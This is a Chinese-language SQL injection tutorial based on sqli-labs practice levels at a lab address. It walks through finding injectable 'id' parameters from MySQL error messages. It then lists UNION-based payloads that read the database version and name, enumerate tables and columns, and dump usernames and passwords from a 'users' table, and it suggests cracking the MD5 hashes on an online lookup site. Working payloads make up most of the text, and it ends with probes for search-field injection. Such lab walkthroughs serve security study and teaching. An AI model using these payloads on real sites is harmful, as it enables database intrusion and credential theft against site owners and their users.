对连接[http://10.0.0.26:8080/Less-2/?id=1]是否是注入点进行判断。
当我们变换id 参数(2+1|2-1)的时候,发现同一个页面,页面展现出不同的内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的内容。
select * from tbName where id=1;
select * from tbName where id=1’;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数1 都是正确的。也就是说,我们添加的单引号是多余的。
select * from tbName where id=‘1’’;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数2 都是错误的。也就是说,我们添加的单引号是多余的。在此则需将后面的’注释掉,才能保证SQL语句正常
二、数字型注入案例
http://10.0.0.26:8080/Less-2/?id=1 and 1=2 order by 4
数据库版本
我们可以讲数字2 用函数[version()]代替,即可得到数据库的版本。
[?id=1 and 1=2 union select 1,version(),3--+]
[?id=-1 union select 1,version(),3--+]
当前数据库名
[?id=1 and 1=2 union select 1,database(),3 --+]
或[?id=-1 union select 1,database(),3 --+]
[?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+]
注:再此如果数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。
表中字段
[?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+]
[?id=1 and 1=2 union select 1,count(*),3 from users --+]
[?id=1 and 1=2 union select 1,concat(username,':',password),3 from users --+]
得到的是后台管理员帐密,如果密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为
[https://www.cmd5.com/],可以忽略加密类型。
http://10.0.0.26:8080/Less-1/?id=1' order by 4 --+
数据库版本
我们可以讲数字2 用函数[version()]代替,即可得到数据库的版本。
[?id=1' and 1=2 union select 1,version(),3--+]
或 [?id=-1' union select 1,version(),3--+]
当前数据库名
[?id=1' and 1=2 union select 1,database(),3 --+]
数据库中的表
[?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+]
注:再此如果数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。
表中字段
[?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+]
[?id=1' and 1=2 union select 1,count(*),3 from users --+]
[?id=1' and 1=2 union select 1,concat(username,':',password),3 from users --+]
得到的是后台管理员帐密,如果密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为
[https://www.cmd5.com/],可以忽略加密类型。
输入搜索的关键词:keyword',报错的话则大概率存在漏洞
输入搜索的关键词:keyword%,报错的话则大概率存在漏洞
输入搜索的关键词:keyword % 'and 1=1 and'%'=',看返回情况